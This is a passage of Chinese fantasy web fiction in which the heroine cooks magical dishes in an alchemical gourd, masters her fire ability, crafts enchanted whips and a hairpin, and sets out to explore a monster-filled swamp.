颜辞云脱口而出： “怎么是菜啊？！” 颜辞云愕然取出这道菜，发现它竟然在取出的瞬间发光了！ 你一道菜，竟然发光了？！ 她是误入了什么超能力美食频道吗？ 当光芒散去后，颜辞云发现，这菜虽然卖相平平，看起来似乎只是包括在叶片里的普通煎蛋，但事实上，随着煎蛋香气飘散而出的，还有几乎能扭曲视线的高温！ 有那么一瞬间，颜辞云几乎能看到红到发白、发蓝的火焰在煎蛋上跃动！ 颜辞云低头凝视随着煎蛋贴心附赠的一只木碗、一双木筷。 ——原来那一截扶桑树枝是用来干这个的？ 【狂野的火焰煎蛋：以极致的火焰煎极致的火焰蛋，会是什么样的味道？】 【食用后会得到极致的饱腹感，并有99%的概率引发自燃】 颜辞云沉默片刻，在吐槽“所谓的水火炼葫竟然只是个烹饪锅”和吐槽“百来斤的毕方鸟蛋丢进去竟然只出一块普通煎蛋”之间，选择了默默吃菜。 一口下去，颜辞云的第一感觉，就是辣！ 像是五脏六腑都被这一把火给烧了起来，几乎令人发狂的滚烫与辣意在血管里沸腾流窜！ 但颜辞云的第二感觉，却是爽！ 就好像身体里所有察觉到没察觉到的病痛与旧疾、滞涩与寒凉，都随着这一口被焚烧殆尽，顺着颜辞云的呼吸，抽丝般地离开她的身体。 随后，活力、健康、喜悦、振奋等一系列美好的词，在颜辞云身上降临。 比起颜辞云自己制作的单纯的食物，从这水火炼葫里倒腾出来的菜肴，竟更像是传说中的天材地宝、灵丹妙药，味道让人上头，功效更让人上头！ ……对了，前提是不怕自燃。 颜辞云三两口吃掉煎蛋，满血复活，感到自己之前与年兽周旋下来的疲惫、紧张、忐忑等生理上的心理上的大小问题，统统都一扫而空。 甚至就连颜辞云的【鹤形】和【火·毕方】的能力，都突破到了lv16，差点儿就超越颜辞云啃了快两月的龙肉才叠出来的龙形！ 这样看来，水火炼葫可不是什么煮饭锅子，而是真的在“炼制”食物啊！ 颜辞云决定偷偷收回自己之前对它的蛐蛐。 颜辞云爱不释手地把这只小葫芦收进物品栏，开始幻想自己未来能用这小葫芦做出什么菜来……要不要再抽空做个菜谱？ 现在的她手上的食物少，搭配也少，随便怎么做都能记住。 但日后，随着时间积累，颜辞云手里可支配的材料一定会越来越多，到了那时，是不是就该写个水火炼葫专用的食谱了？ 食谱，嘻嘻，食谱。 不是烤肉就是炖汤的她，竟然可以写食谱了！ 颜辞云喜滋滋地想了一会儿，觉得自己真是进步巨大、超大、特别大！ 不过很快的，颜辞云又回过神来，开始思考自己眼下最迫切的一个问题： 事到如今，【火·毕方】都已经升到了lv16，那么现在的颜辞云，能不能成功控制野火，不再成为那个走哪儿烧哪儿的移动火源了？ 最重要的是，她能不能安全返回自己的小树屋，好好休息了？ 颜辞云决定一试！ 第38章 吃！ 脊骨的一万种吃法…… 颜辞云所在的地儿，是被扶桑树抽走了所有热量的火成岩，放眼望去，一片灰黑。 而在这块石地之外，还要越过一片茫茫沙海，才是翠绿的草原。 简而言之，这块地儿没有可燃物，只能跑最近的草原试试。 颜辞云先是变化为龙形，飞到沙漠的边缘，再转为蛇形姿态，慢吞吞地向草原的边缘挪，手上还拿着邪龙噬雷枪，准备一有异动就降雨！ 颜辞云的警惕是对的。 因为几乎就在颜辞云能用肉眼看见远方绿意的瞬间，火焰就呼啦一下烧了起来。 颜辞云目测一下，有些崩溃：这野火烧起的距离这么远啊？ 那草原离她起码还有十里地吧？！ 真就方圆十里，寸草不生呗？ 颜辞云死死盯着那野火，努力想要用自己的意念去控制它。 有那么些时候，颜辞云是真的觉得自己与远方的野火产生了联系，好像只要自己再努力一点点，就能成功命令它熄灭！ 但…… 一秒，两秒，三秒。 十秒，二十秒，三十秒。 眼看远处那火越烧越大，即将蔓延开去，为这片本就因兔灾的祸害而不再茂密的草原雪上加霜时，颜辞云终于放弃了，抬起枪向云空一指。 下一秒，雷云如约而至，暴雨倾盆。 颜辞云往后退了退，让自己这个移动火源避开了前方的可燃物们，并亲眼眼前确定草原的火被雷云熄灭后，这才蔫哒哒地返回了扶桑树。 但颜辞云是不会因为这点儿小挫折就放弃的！ 颜辞云觉得，没法控制自己移动火源的身份，一定是因为【火·毕方】的等级还不够！ 只要能力的等级上去了，她一定会对这一切收放自如的！ 那么，有什么快速提升等级的方法呢？ ——吃！ 虽然颜辞云如今手上没有了火鸟蛋，没法再给自己做狂野的火焰煎蛋，但没关系，她手上还有其它食物。 比如说朱果炖年兽骨汤。 颜辞云拿出自己心爱的小葫芦，放入一截年兽的脊骨，其他三个格子则全放朱果。 ——对了，既然是骨头汤，那要不要放水？ 颜辞云想了想，觉得干炖应该也可以的。 因为她依稀记得，有个菜谱好像就是“不加一滴水的番茄炖牛腩”，那么同理，“不加一滴水的朱果骨头汤”应该也是行得通的吧？ 秉着自己的奇思妙想，颜辞云撸袖子上了。 熟悉的三十秒后，青红葫芦落下，颜辞云打开一瞧： 【爆椒骨髓：这是一碗奇思妙想堪比番茄鸡蛋炒月饼的潮流菜肴，没有一定想象力的人真做不出来——嘶！它真的超火的！】 【食用后会引发急性腹泻，并得到一定加速效果，有50%的概率增加幸运值。】 又腹泻又加速的，腹泻加速是吧？ 如果不是颜辞云免疫食物的负面效果，她还真不一定敢吃这个。 颜辞云拿出之前没丢掉的扶桑木碗筷，将葫芦里的【爆椒骨髓】转移到碗里。 让颜辞云没想到的是，这爆椒骨髓虽然是各种意义上的黑暗料理，但卖相却意外不错。 只见，火红木纹的扶桑木碗里，如火焰一样跳动的朱果果汁、以及意外雪白的朱果果肉，浅浅在碗底铺了一层。 火焰为底、果肉为糜。 而被这鲜红和雪白簇拥着的，则是小小的一截骨髓。 那骨髓，晶莹剔透，盛不满半碗，既有着自身坚持的洁白，又有着被朱果浸染的鲜红，在碗里颤巍巍的，竟好似一碗又鲜又辣又烫又冰的鱼冻！ 颜辞云先是浅浅喝了一口汤。 火焰的滚烫从舌尖涌上，带来一股近乎辣的痛感。 接着颜辞云又吃了一口骨髓。 如雪一样沁凉的骨髓含入口中，颜辞云被冰得一个激灵，然而当她咬开骨髓后，熟悉的滚烫涌上，在颜辞云口腔里如活物一样跳动，就好像是雪包火！ 又冰又烫的，难怪吃下去会引发急性腹泻呢。 颜辞云把这爆椒骨髓一口闷，再拍拍胸脯，打了个嗝。 今天她是真的吃太多了。 别看颜辞云吃下去的只有简简单单两份菜，但这两份菜里蕴含的能量，却是比得上颜辞云连啃数天龙肉的。 ——所以现在多少级了？ 颜辞云打开技能栏一瞧：lv17. 才一级啊？ 那不行，再来！ 颜辞云这回干脆不搞别的，直接往水火炼葫的四个格子里全放了朱果，于是—— 【朱果果酱：原汁原味的果酱，虽然制作起来没有难度，但也胜在没有脑洞。】 颜辞云：够了！系统你再蛐蛐试试？？ 颜辞云把朱果果酱倒碗里瞧了瞧，红红白白的，又好看又有食欲。 但颜辞云已经对这个颜色有点疲倦了，这会儿只想赶快回到自己漂亮的小树屋，于是端起扶桑木碗又是一口闷。 甜的。 当朱果作为菜肴的配料出场时，它能给菜肴增加一种魔鬼椒般的辣味来。 可当生吃朱果或是做朱果果酱时，它却是完全的、纯粹的甜味，并且甜味还特别高，甜到让颜辞云都觉得有点儿齁了。 ——日后把它当糖浆用吧。 颜辞云再次打开技能栏一看。 lv19！竟然反超【龙形】，成了lv19了！！ 这一刻，颜辞云心情格外振奋。 颜辞云记得，摄形和摄神的能力，每逢5逢10都会有相当大的变化，像是向上迈出了一个小台阶。 所以，只要【火·毕方】达到lv20，她就能收束火焰了，对吧？！ 颜辞云用激动的心、颤抖的手，又做了一份朱果果酱。 而这次，颜辞云甚至都没有把果酱移到碗里，而是忍着齁甜，直接往嗓子里倒。 lv20！ 【火·毕方（lv20·已达上限）：在毕方之魄的影响下，你获得了它生前的部分能力，并极大地提高了与火焰的亲和性。你所经过的地方，即为火焰的领地，你的目光所及之处，火焰也向你俯首。】 这一刻，颜辞云心念一动，闭上眼，仔细琢磨，终于感到了那一直以来若有若无、如雾里观花一般的……炁！ 西方雷山的方向，是紫色的雷炁；东边大海的方向，是蓝色的水炁。 周围最浓郁的，当然是土黄色的土炁，但最耀眼的，自然是颜辞云身旁煌煌如大日的火炁！ 一炁化万物。 万物归一炁！ 什么金木水火土？ 说到底，它们不都是“炁”么！ “呼——” 颜辞云长长吐息，金红的火焰取代水雾，从她口中吐出。她睁开眼，眼瞳有金红蓝紫四色交替闪过，但最后都归于纯粹。 颜辞云又抬起手来，下一秒，金红的火焰从她掌中冒出。 可怕的高温在火焰出现的瞬间，就扭曲了四周的空气与视线，可偏偏这朵金红色火焰稳定得很、安静得很，半点没有暴躁模样，只在颜辞云手里静静地燃烧。 “不错。” 颜辞云随手一扔，把这火焰喂给扶桑树吃了，让这棵被她薅了无数叶片和无数果子的扶桑树瞬间精神起来。 接下来，颜辞云不再犹豫，没有迟疑，摇身化作龙形，之后甚至不再做什么探头探脑的试探，而是径直向树屋的方向飞去！ 随着颜辞云的飞行，火焰没有在沙海中燃烧，没有在草原中燃烧，没有在路过动物们的毛皮上燃烧，自然也没有在颜辞云的树屋与巨木上燃烧。 一切的一切，就如同颜辞云预料中的那样。 “小白！我回来啦！” 明明颜辞云只是被困在沙海短短一下午，可颜辞云却觉得自己像是和自家的小猫咪分别了无数年，冲进树屋把小猫咪捞起来就一顿狂亲。 小白习以为常，像个安静的大白馒头，仍由颜辞云上下其手。 而直到颜辞云理智回笼后，小白这才凑到颜辞云嘴边，嗅了嗅，又嗅了嗅。 盯—— 面对小白满是谴责、就差直接在脸上写着“你竟然背着我偷偷吃好吃的”目光，颜辞云笑着打了个哈哈，装作自己完全没有心虚。 她先是把朱果递给小白，试图蒙混过关。 小白嗅了嗅，撇嘴。 “小坏蛋，怎么能总想着吃肉呢？要营养均衡！”颜辞云严肃谴责，“而且，又不是我不想给你吃，但那鸟蛋，真的只有一个呀！” 小猫不高兴。 小猫不想听。 小猫往地上一躺，就要开始打滚。 “好了好了，严肃点，说正事呢，卖什么萌。” 铁石心肠的颜辞云把满地打滚的小猫咪捞起来，站好。 但当小猫咪像水一样滑下去，又倒在地上滚来滚去时，颜辞云终于没忍住笑。 “好了好了，给你做一顿好吃的，行了吧？被辣到可不准哭啊！” 小白一个鲤鱼打挺：“喵！” 颜辞云如法炮制，又做了一份爆椒骨髓，半点也不偷工减料，主打一个自己吃啥猫吃啥。 而小白也果然是有点特异能力在身上，之前的它就跟着颜辞云吃毒蘑菇汤，吃完啥事儿也没有。现在的小白同样也是跟着颜辞云吃雪包火，并且半点没有腹泻症状。 颜辞云看着，笑着戳了戳小白的毛脑袋。 果然，这小朋友就不是什么普通生物吧。 但它到底是什么呢？ ……算了，反正都是自家猫。 颜辞云把吃得直打嗝的小白提溜进活动室，让它好好休息好好消食，自己则拿着新玩具葫芦，又开始兴致勃勃地琢磨新菜。 按照从少到多原则，颜辞云先是把手上最后四块年兽脊骨丢进葫芦，排列组合。 【1年兽脊骨+1大肉+1仙果+1水=大骨汤】 【大骨汤】 【食用后可令断骨重生，并保持一月不饿】 好看，喷香！ 是打持久战的绝佳食物！ 颜辞云相信，如果以后再来一次“放风筝”行动，她可绝不会再像溜年兽那样，一溜十来天，最后被饿到两眼都发绿了！ 颜辞云做了一个漂漂亮亮的玻璃食盒，把战略物资骨头汤倒进碗里，再放进保鲜鼎保存起来。 【1年兽脊骨+2大肉+1檖果=红烧排骨】 【红烧排骨】 【食用后可迅速恢复健康和大量饱食度】 迅速恢复健康的意思是“回血”还是“消除减益”？ 嘻嘻，反正都不错！ 颜辞云把它放进第二个玻璃食盒，反手塞进保险鼎。 之后，颜辞云想了想，觉得这种有特殊功效的食物果然还是该多多益善，于是她准备再做一份。 但万万没想一个错眼间放错了东西—— 【1年兽脊骨+2毛皮+1朱果】 欸？不对，错了，等等！ 怎么毛皮也能放进锅里煮啊？ 颜辞云一个愣神的功夫，那葫芦就已经自动漂浮了起来，熟练地开始了炼制。 眼看材料是拿不出来了，倍感无奈的颜辞云也只能按捺心焦，耐心等待。 一个三十秒后。 两个三十秒后。 三个……不是，怎么这次煮了这么久？ 颜辞云又惊又疑，这会儿反倒杠上了：她倒要瞧瞧这葫芦炼了个什么妖魔鬼怪出来！ 足足一百二十个三十秒过去，也就是整整一小时后，等得昏昏欲睡的颜辞云脑袋一痛。 咚！ 漂浮在半空的青红葫芦落下，顺着颜辞云脑袋骨碌碌滚落。 颜辞云被砸清醒了，便直接伸手捡起小葫芦，打开一瞧。 下一秒，她又愣住了。 “啊呀……” 颜辞云看着自己眼前的东西，喃喃自语： “原来……原来你这小葫芦真的不是菜锅啊……” 原来【年兽脊骨】这东西，也真的是“材料”啊。 颜辞云轻轻眨眼，伸手在虚空一握。 下一秒，一条模样古朴、看似平平无奇的长鞭，就这样被颜辞云紧握掌中。 【赶山鞭：有鞭山移石，驱石赶山之能。】 第39章 万事俱备 新装备，新饰品！…… 颜辞云将赶山鞭拿在手里，细细打量。 不同于制作台出品的邪龙噬雷枪那好似页游SVVVIP的浮夸风，这小葫芦出品的赶山鞭，看起来像是某种年代久远的老物件。 老物件有什么特点？ 做工不够精细，装饰不够精巧。 说好听点是粗犷，说难听点是凑合能用就行了。 在颜辞云看来，这条赶山鞭的做工，无疑属于“凑合能用就行了”的范畴。 可是，偏偏，不知怎么的，这赶山鞭在做工之外，就是有一种说不清道不明的气息。 颜辞云仔细感受，觉得自己应该是从这条鞭子上感受到了大地的土炁，但又并不很像，因为它比土炁给颜辞云的感觉更为幽深，就像是……玫瑰与月季的区别！ ——这样的一条鞭子，竟能驱石赶山么？ 怎么驱？怎么赶？ 颜辞云把玩着手里的新玩具，心痒难耐，决定试试！ 颜辞云所在的山丘附近，除了草原、谷底、湖泊群，就是沙漠、森林废墟与石原了。 石原上其实是有石山的，但它不高，在如今作为小怪兽的颜辞云看来，它最多算是个小石丘。 哪怕颜辞云手里不是拿着赶山鞭，而是提着邪龙噬雷枪给这石丘一铲，它也得乖乖滚着走。 所以颜辞云便开始琢磨了起来：这附近哪儿有山呢？ 还得是非常高、非常大、赶着走时成就感超高的山！ ——雷山！ 那座换季之前一直环绕着沉重雷云、令雷声在这世界每时每刻都在轰响的雷山，够不够高大、够不够有成就感？ 当然够！ 可问题是太远了。 在升级了毕方的能力，对“炁”的感受又加深一层后，原本就觉得雷山远的颜辞云，越发深刻地感到那雷山到底有多远。 如果一定要用一个词来形容，颜辞云觉得那雷山离自己大概就是天涯海角的距离。 既然如此，除了雷山之外，又还有哪儿有山？ ——去探索一下，不就知道了吗？ 这一刻，颜辞云静极思动。 她觉得，自从治了兔灾之后，自己懒散休息的这段时间，也实在足够长了。 是时候再次踏上探索世界的冒险旅程啦！ 更何况，现在颜辞云身上还挂着一个辨识百草的任务。 这样的任务，哪里是蜗居在小小一隅就能完成的？ 想到这里，颜辞云再也坐不住了，爬起来就开始清点自己小树屋里的物资，以及要带上路的物资。 颜辞云如今已经在小树屋里放了十个储物箱了。 客厅里的六个箱子，里头装着颜辞云收集来的杂七杂八的物资，如原木块、木板、木棍、原石块、石板、石砖、杂草、树枝、木炭、草木灰、沙石块、玻璃板、树种，等等。 每个物品格子几乎都被堆到了999。 也亏得储物箱的重量不受到内部物品的重量影响，否则光是这几个箱子，就起码有万斤重了！ 其次，是活动室里的两个箱子，里头放着颜辞云这段时间摸鱼时雕刻出来的各种奇形怪状的“工艺品”。 它们长得不咋样，被颜辞云用糟糕的工艺雕刻得乱七八糟的，用是不好意思用，扔却也偏偏舍不得扔，于是颜辞云干脆在活动室里做了两个储物箱，专门用来存放这些“艺术品”。 最后的两个储物箱，则是晾肉房里的箱子。 一个专门用来解冻兔肉狗肉，解冻完就把它们挂上晾肉架，转化为香喷喷的、保质期更长的肉干； 一个则专门用来储存各种肉干。 由于颜辞云本就没打算抛弃树屋，而只是想出门十天半个月来一场惊险刺激的大冒险而已。 因此，颜辞云就没有像上次搬家时那样，把所有的储物箱都打包带走，而是准备清理掉自己物品栏里的东西，再拿点儿食物、拿上必要的武器工具，就轻装上阵！ 首先，玩家初始两件套——开路超好用的小锤子，和自动采集的镰刀，是一定要带上的，再来就是邪龙噬雷枪、赶山鞭、水火炼葫，和永鲜袋。 这就占去了六个格子。 其次，钻石斧、钻石稿，这是两样出门必备的工具一定要带，锹和锄头丢回储物箱。 这又占去了两个格子。 至于原木块、树枝、杂草、木炭这些之前出门必带的物品，现在都不用再带，毕竟颜辞云有了水火炼葫这小随身小菜锅后，已经不用再生火做饭了，再加上颜辞云自己就相当于移动火源，所以这些与火有关的东西，都可以从物品栏里清理掉了。 所以最后，颜辞云只需要把晾肉屋里的肉干收起来，塞满自己的永鲜袋，再把从年兽身上收集到的大肉挂上去，等第二天一早收了这波大肉干，就可以轻松出门了！ 哦，对了，除了最后的一点儿材料： 一截年兽脊骨，一张年兽毛皮，几颗不打算吃的朱果，和一把扶桑木树枝。 这些东西，都是自带不凡的材料，因此颜辞云也不客气，直接把它投入了制作台。 之所以投入制作台而不是水火炼葫，是因为这一次又有脊骨又有朱果的，颜辞云怕自己又做出一锅汤来。 而制作台就不同了。 如果在制作台上试出来的合成表不是颜辞云喜欢的物品的话，颜辞云是可以直接把材料收回来的！ 于是，很快的，颜辞云得到了如下配方与物品： 【1年兽脊骨+1毛皮+2朱果+2扶桑木枝+2蛛丝=八方神火鞭】 【八方神火鞭：鞭身赤红，灵光如焰，有号令八方神火之能。】 又是一条鞭子。 颜辞云拿出这八方神火鞭一瞧，嗯，是和邪龙噬雷枪一样的浮夸页游风。 跟水火炼葫出品的装备不是一个路数啊！ 不过它好看也是真的好看，颜辞云光是把这鞭子拿在手里，还没挥呢，就觉得自己的信心蹭蹭地长。 好好好，这个鞭子也一定要带上。 刚好用来给她练习鞭术，免得日后用赶山鞭时，还没鞭上山呢，就先抽到自己了。 至此，从年兽身上搜刮的战利品都用得差不多了。 ——还能做点别的吗？ 可以！ 颜辞云把自己手里的最后一些扶桑木枝和扶桑木叶也丢进制作台。 【3扶桑木枝+1扶桑木叶+1蛛丝=神凤辟邪簪】 【神凤辟邪簪：以神木雕刻为骨，又取火凤真意点缀为饰，故此簪煌煌如日，有辟易诛邪之力。】 哇，难得，竟然是饰品？！ 颜辞云惊喜取出这神凤辟邪簪，拿在手里，左右翻看，发现这木簪虽然制作材料简陋，没有镶金嵌银，可工艺却非常精细，簪身生温，自带弧度，镂空的簪头则像是有神凤驻留，其下更是垂有流苏，轻风吹过时，好似有一缕缕火焰与细柳摇动。 好看！ 比颜辞云那两箱子的“艺术品”好了不知多少！ 颜辞云立即抛弃了自己之前束发的花枝，开开心心地用新欢把头发挽起来固定，接着再来到湖泊群系处，对着如镜的水面左瞧右瞧。 哎呀，好看。真好看。 自己怎么就这样好看呢！ 这天下，竟然还有她这样的美人？！ 对着水面嬉笑了一会儿，原本就昏暗的天也终于彻底黑了。 颜辞云扶着头上的簪子，先是试探着变作龙形，而后惊喜发现那神凤辟邪簪竟然没有因自己的变形而掉落地上。 甚至当颜辞云又变回蛇形时，它也依然好好插在颜辞云的发间。 好好好，这个功能好。 有了这样的能力，日后她就不必害怕自己一变身，那些饰品装备就劈里啪啦掉了一地了！ 事到如今，万事俱备。 明天一早就出发去探索世界吧。 第40章 沼泽黑水 移栽什么的，倒也…… 一夜的养精蓄锐后，第二天刚蒙蒙亮，颜辞云便精神奕奕地爬了起来。 她先是来到晾肉房，把昨晚挂上晾肉架的大肉取下。 也不知道这制作台出品的晾肉架是什么远离，不论颜辞云什么时候把肉挂上去、不论颜辞云挂上去的肉块是大是小，总之第二天天一亮，这肉就成功做成肉干了。 颜辞云取下肉干，定睛一瞧，发现这大肉干竟然还与普通的兔肉干狗肉干不同，是有自己单独的名字与系统注释的！ 【充满能量的巨兽肉干：经过精心晾晒的巨兽肉干，食用后少量恢复健康，大量恢复饱食与体力。】 又是恢复健康的食物，好东西啊！ 颜辞云开心地把这些肉干也塞进了保鲜袋。 最后，颜辞云将风火两济葫芦藤栽在巨木旁的息土里，确定这葫芦藤已经开始生长了之后，便揣上自己的猫，出发上路了。 颜辞云前进的方向是北方。 因为颜辞云想要稍稍探一探脚下陆地的大小，探一探大海的边界，于是她顺着海岸线，一路向北。 先是穿过山丘北面的湖泊群系。 这湖泊群系左边接着草原，右边挨着沙滩与大海，但自身面积也不小，哪怕是以颜辞云的速度，都要飞上好一会儿。 但颜辞云并没有着急忙慌地离开，因为这儿景色极美，哪怕是冬天也不结冰，并且还在湖面上方浮着一层朦胧轻雾。 细雨蒙蒙，似哀似怜，如诗如画，大概指的就是这儿了。 但湖泊与轻雾虽然好看，颜辞云却觉得这儿应该还能更好看。 比如说在岸边栽点斜柳，水里种点荷花什么的。 当这些植物栽满湖泊与河岸后，或许她还能顺带造几座小桥？ 到了那时，她一边泛舟湖上，一边摘点莲藕菱角什么的，一定非常惬意吧？！ 颜辞云这样畅想着，慢悠悠地飞过了湖泊群，来到了更北边的沼泽区。 颜辞云实在不喜欢这里，之前跑地图时，她甚至只在这片黑水沼泽区边缘稍稍转了一圈、都没有仔细探明这儿的边界就离开了。 无他，这黑水沼泽里乱七八糟的东西，实在太多了！ 首先是蚊子。 特别是蚊子！ 这沼泽地里的黑湖，每一块都必然伴生着无数的蚊子，并且超大一个。 颜辞云不知道这些蚊子是怎么熬过换季的，也不知道它们为什么冬天也不休息，每日每夜都徘徊在沼泽的黑湖上嗡嗡不停的，反正只要一有什么生物胆敢踏入沼泽附近，它们就会一拥而上，逮着对方狂叮！ 之前闹兔灾时，颜辞云还有些担心地过来看了两眼，就怕那些兔子突破沼泽地，冲入她家附近漂亮的小湖泊打洞。 但真的过来瞧了一眼后，颜辞云才知道是自己想多了。 因为凡是落在这湿地里的兔子，就没一个逃脱得了，基本都被这些大蚊子给吸干了血，咬死了。 而这些死去兔子的尸体，同样也没有造成环境上的困扰，因为湿地里还生活着一种奇特的鸟。 它们长得像是鹰，但头上长着角，叫声像婴儿的啼哭，怪瘆人的，关键是牙口极好，无论是活兔子还是死兔子，它们都是一口一个，都不带嚼的！ 而如果这群怪鹰吃不完兔子的话，也不用担心，因为湿地水里等着吃肉的动物更多！ 无论是只有颜辞云拇指大小、但成群结队且牙齿锋利的食肉鱼，还是长着四只耳朵的水猴子，又或者是水中霸王——足有二十米高一百米长的大螃蟹，都能轻易搞定这群兔子。 而如果这些被蚊子吸干了血的死兔子们，既没有被怪鹰翻出来吃掉，又没有落入水中被水生动物分食呢？ 这时候就轮到湿地里的小型生物们出场了。 无论是埋伏在腐烂叶片下的食腐蚁与绿甲虫，还是会走路会发笑的食肉花，它们都会热心地跳出来，帮忙处理这些食物，保证不让任何一种弱势生命在这里好好活着！ ——有一说一，这片沼泽湿地可谓是颜辞云发现物种最多的地形了。 但颜辞云对这里并没有太大兴趣。 无论是那些潮湿泥泞、不知道什么时候会有古怪虫子爬出来的土地，还是那些肮脏幽深、不知道藏了多少细菌和蚊子的黑水，又或者是水上水下奇奇怪怪的生物，以及追着人狂叮的蚊子——特别是蚊子——让颜辞云完全没有生出过定居此地的想法。 不过，尝百草的任务倒是可以在这里刷刷进度。 想到这里，颜辞云在天上转了几圈，仔细找了个远离黑水、远离大蚊子的地方降落，变回蛇形。 而巧之又巧的是，颜辞云刚一落地，一只蹦蹦跳跳的食肉花就这么撞了上来。 那还有什么可说的？ 颜辞云一把抓住，分成两半，一半丢自己嘴里，一半给小白尝鲜。 食肉花寡淡无味，但却出乎意料地入口即化。 颜辞云听到尝百草的任务进度加一后，便随意点开收集的植物图鉴，定睛一看： 【人参果：状若小人，落地即跑，百日后开始生根，百年后可栽为人参果树。】 【味甘，性温，富含多种营养，是一种保健水果。】 什么？ 人参果？你说这玩意儿叫人参果？ 颜辞云吧嗒了一下嘴，什么味儿都没吃出来。 好嘛，这可真成猪八戒吃人参果了。 颜辞云无视一旁【仙果】【檖果】【蘑菇】【朱果】【葫芦】等一系列图标，直接来到最后的【人参果】图标上，点开。 不同于颜辞云居高临下所看到的“会跑会吃肉的小花”，在系统图鉴里，人参果有非常详细的四个阶段。 一阶段时，它长得像是一个普普通通的果子，看不出什么特异的地方来； 二阶段时，它开始长得像一个婴孩，肤白如玉，遇人还会咯咯直笑，好似活物，可它的眼珠是木质的，有难以遮掩的木讷，能一眼看出它绝不是活人； 而到了三阶段时，它则被摘下了许多时日，身形拉长，头大如斗，周身生出了许多细细的根须，不像是野人，而像一株会跑会跳的大头花——颜辞云吃掉的人参果，正是处于这一阶段； 至于最后的第四阶段，它已经彻底长高长大，也生出了足以扎根的根须，这时候，它就能被栽种下去，成为又一株人参果树了。 颜辞云恍然：原来如此，这就是人参果的生长阶段啊！ 早知道她刚刚只咬一口就行了，剩下的带回树屋，回头还能把它和葫芦藤栽一块儿，种出一颗新的人参果树呢！ 颜辞云暗暗觉得有点儿亏。 可回头想想，这人参果既没什么味，也没什么特殊增益，真栽下去了，既挤占本就不大的山丘地方，还不一定派的上用场。 毕竟，仙果（蟠桃）和檖果（梨子）还有个甜味呢，它能有啥？ 水一样寡淡的味道吗？ 那她为什么不直接喝水！ 想到这里，颜辞云懊悔的心迅速平复，继续探索这片湿地的植物。 她随手扯下一把草叶丢进嘴里。 【芦苇：多年生草本植物，茎中空光滑，有多种用途。】 【食用芦叶可治疗霍乱；食用芦茎、芦根可以清热生津，除烦止呕。或用以制作纸张，编席织帘。】 颜辞云一呆。 纸张？ 原来芦苇竟然可以做纸？ 虽然，颜辞云现在暂时没想起自己有什么地方需要用纸，但是，这可是纸耶！ 所以不用多说，带回去就对了！ 大喜之下，颜辞云的第一反应就是把芦苇移栽到自家的小树屋下。 但很快，颜辞云回过神来，想起自家的树屋下其实并没有适合芦苇生长的环境。 ——除非把芦苇栽在息土上。 可颜辞云舍得用“寸土存金”的息土来种芦苇吗？ 答案不言而喻。 颜辞云决定自己在这儿多收集一些芦苇就行。 至于移栽什么的，倒也不急，反正沼泽地离家其实也没多远。 偷偷折中了的颜辞云，拿出自己的镰刀，开始采集附近的芦苇。 并且一边采，她还一边用制作台制造纸张。 【4采下的芦苇=1莎草纸】 颜辞云拿出纸看了看。 纸张柔韧厚实，并且出乎意料地洁白，哪怕是放在现代，都绝对算得上是极优秀的纸张了。 但是…… 颜辞云又摸了摸，觉得它吸水性和沁水性都很强，好像并不是平日里常见的那种纸，因为写字的话太容易晕开了。 难道是……宣纸？ 是的，芦苇做出的，应该就是宣纸了。 但这种纸，平时不怎么用得上吧？ 她想用的话，是不是还得配一支毛笔？ 这样思考着，之后，颜辞云很快又在水边搞到了一个新东西： 【甘蔗：禾本科植物，有多种用途。】 【味甜，食用可清热生津，消烦解渴，可用以炼糖或制作纸张。】 又是制作纸张？ 甚至还有糖？ 颜辞云挥了挥镰刀，从水边稀稀落落的六根甘蔗上采集出了【甘蔗】X24。 接着，颜辞云又把甘蔗塞进制作台。 【1甘蔗=1糖】 【1糖】是多少？ 颜辞云随手从水边扯下一张大叶片放在手上，而后将糖取出，倒在叶片上。 最后，颜辞云惊讶发现，【1糖】指的竟然是1斤糖！ 1甘蔗也就两斤重吧？ 两斤重的甘蔗出一斤的糖，你这出糖率是不是有点离谱了？ 颜辞云又是惊讶，又是好笑。 但很快的，她又开始试着做纸。 纸的配方也很简单。 【3甘蔗=3纸】 颜辞云把这份纸拿出来，想看看它与莎草纸有什么不同。 正在手里掂量着呢，冷不丁的，颜辞云目光向黑水深处一瞥，竟意外瞧见了一出好戏！ 40-50 第41章 意外再遇 放火烧山，牢底坐…… 颜辞云是个做事很认真的人。 换而言之，当她全神贯注收集与分辨植物的时候，她会稍稍忽略周边的情况。 所以，当颜辞云从收集与制作中回过神来，察觉到原本安静的黑湖“有点不对”时，黑湖其实已经有了相当大的改变了—— 比如说一场关于蜘蛛和角鹰之间的群架。 之前颜辞云就知道，湿地里有一群叫声如婴儿啼叫、体态如鹰、头上长角、压根不会飞最多只会点滑翔的走地鸡。 这群走地鸡的战斗力一般，不算是湿地的食物链顶层猎食者，但也不在底层。 再加上它们族群庞大，成群结队，攻击性强，走哪儿嚯嚯哪儿，所以算得上是湿地一大害，就连吸血大蚊子都要绕着它们走！ 除非是它们主动踩进水里，跟湿地二害的水猴子们杠上，否则整个湿地几乎没有生物能够制裁它们。 可如今，意外发生了。 它们的确没有踩进水里，并且湿地里的原生物种也的确没有能制裁它们的——但从湿地外来的生物可以。 也不知道什么时候，这片黑水沼泽里多出了一种蜘蛛。 这些蜘蛛体型颇大，都比得上之前祸害草原的肥兔子了，攻击力可能也只比那群兔子稍稍强一点。 但它们有一个非常难缠的特性，那就是“群体仇恨”。 也不知道它们是靠什么东西分辨和定位的敌人，当它们分散开去，在湿地里各自寻觅食物时，它们看起来似乎很好剿灭、可以趁着落单时分别击破。 但事实上，只要某只蜘蛛遇到它们独自打不过的敌人，原本在其他地方游荡的蜘蛛们，就会立即像是收到什么信号似的，从四面八方赶来支援，一拥而上，直到将敌人分食殆尽、连骨头都吞掉后，它们才会再次散开。 更麻烦的是，它们数量庞大，还悍不畏死，根本不知道后退是什么，所以只要有什么生物胆敢惹上它们，那就等着一场充满血腥的大戏吧！ 颜辞云看到的，正是这样一幕—— 在不远处的湿地，一支角鹰群的边缘处，有一只角鹰似乎是不满那些游荡着的、在角鹰群领地边缘处进进出出的蜘蛛，于是它仗着自己体型高大，上去就给了蜘蛛两脚，直接踹翻那蜘蛛，再用它锋锐的鸟喙将蜘蛛啄死。 完美胜利！ 角鹰挺着胸脯，志得意满，得意洋洋。 但它万万没想到，这一举动完全就是捅了马蜂窝！ 因为就在它准备将这蜘蛛吃掉的时候，大量的簌簌声从湿地的灌木丛里、植物群中、腐烂叶片下响起。 一秒，两秒，三秒。 不到五秒的时间，一群数不清数量的蜘蛛，就这样出现在了角鹰群外，而更远的地方，还有大量的蜘蛛在赶来！ 